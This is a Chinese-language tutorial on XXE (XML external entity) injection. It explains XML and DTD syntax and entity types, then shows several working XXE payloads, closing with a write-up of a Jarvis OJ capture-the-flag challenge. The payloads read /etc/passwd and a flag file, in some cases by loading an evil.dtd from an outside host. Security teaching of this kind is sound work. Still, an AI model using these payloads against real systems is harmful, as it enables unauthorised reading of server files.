XXE漏洞

XML基础知识

链接

XML语法规则如下:

  1. 所有的XML元素都必须有一个关闭标签
  2. XML标签对大小写敏感
  3. XML必须正确嵌套
  4. XML属性值必须加引号
  5. 实体引用
  6. 在XML中,空格会被保留

XXE漏洞

XXE全称是XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

DTD

DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档构建模块。
它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中(内部声明),也可作为一个外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[       //DTD
<!ELEMENT note(to,from,login)>    //定义元素
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)>
<!ELEMENT login(#PCDATA)>
]>
<note>
<to> tony </ to>
<from> anmi </ from>
<login>123</ login>
</ note>

引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don‘t forget me this weekend!</body>
</note>

这是包含DTD的“ note.dtd”文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为一般实体和参数实体。

参数实体(用%声明,用%引用。 DTD中声明,DTD中引用)
其余实体(直接用实体名称声明,使用&引用。 DTD中声明,xml中引用)

内部实体:            
<!ENTITY 实体名称 "实体内容">    

外部实体:
<!ENTITY 实体名称 SYSTEM "URI">        
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

参数实体:
<!ENTITY % 实体名称 "实体内容">

怎么判断网站是否存在XXE漏洞

最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

构造外部实体注入的方法

1.直接通过DTD外部实体声明

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE NPFS[
<!ENTITY  npfs SYSTEM "file:///home/ctf/flag.txt">]>
<something>&npfs;</something>

2.通过DTD文档引入外部DTD文档,再引入外部实体声明

xml内容:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
       <!ENTITY %d SYSTEM "http://www.123.com/evil.dtd">
       %d;
]>
<aaa>&b;</aaa>

DTD文件(evil.dtd)内容

<!ENTITY b SYSTEM "file:///etc/passwd">

3.通过DTD外部实体声明引入外部实体声明

xml内容:

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "http://www.123.com/evil.dtd">
<a>&b;</a>

DTD文件(evil.dtd)内容

<!ENTITY b SYSTEM "file:///etc/passwd">

另外,不同程序支持的协议是不一样:

XXE漏洞


(Jarvis OJ)api调用

‘ target="_blank">题目链接

go,抓包

XXE漏洞

可以发现这里应用的content-Type是json

JSON(JavaScript Object Notation, JS 对象简谱) 是一种轻量级的数据交换格式。其诞生原因是因为XML整合到HTML中各个浏览器实现的细节不尽相同

JSON有2种结构形式,键值对形式和数组形式(如箭头二所示)

又因为题目hint:请设法获得目标机器/home/ctf/flag.txt中的flag值

判断为XXE漏洞

将json修改为xml,并构造外部引用

XXE漏洞

参考:

https://xz.aliyun.com/t/3357#toc-22
https://p0rz9.github.io/2019/02/27/xxe/#
https://security.tencent.com/index.php/blog/msg/69